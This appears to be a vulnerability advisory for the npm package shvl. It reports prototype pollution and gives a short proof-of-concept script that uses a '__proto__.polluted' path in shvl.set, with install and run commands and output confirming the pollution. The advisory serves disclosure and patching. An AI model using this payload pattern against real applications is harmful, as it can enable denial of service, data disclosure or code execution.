shvl
is vulnerable to Prototype Pollution
.
This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto
payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.
// poc.js
var shvl = require("shvl")
let obj = {}
console.log("Before : " + {}.polluted);
shvl.set(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
npm i shvl # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted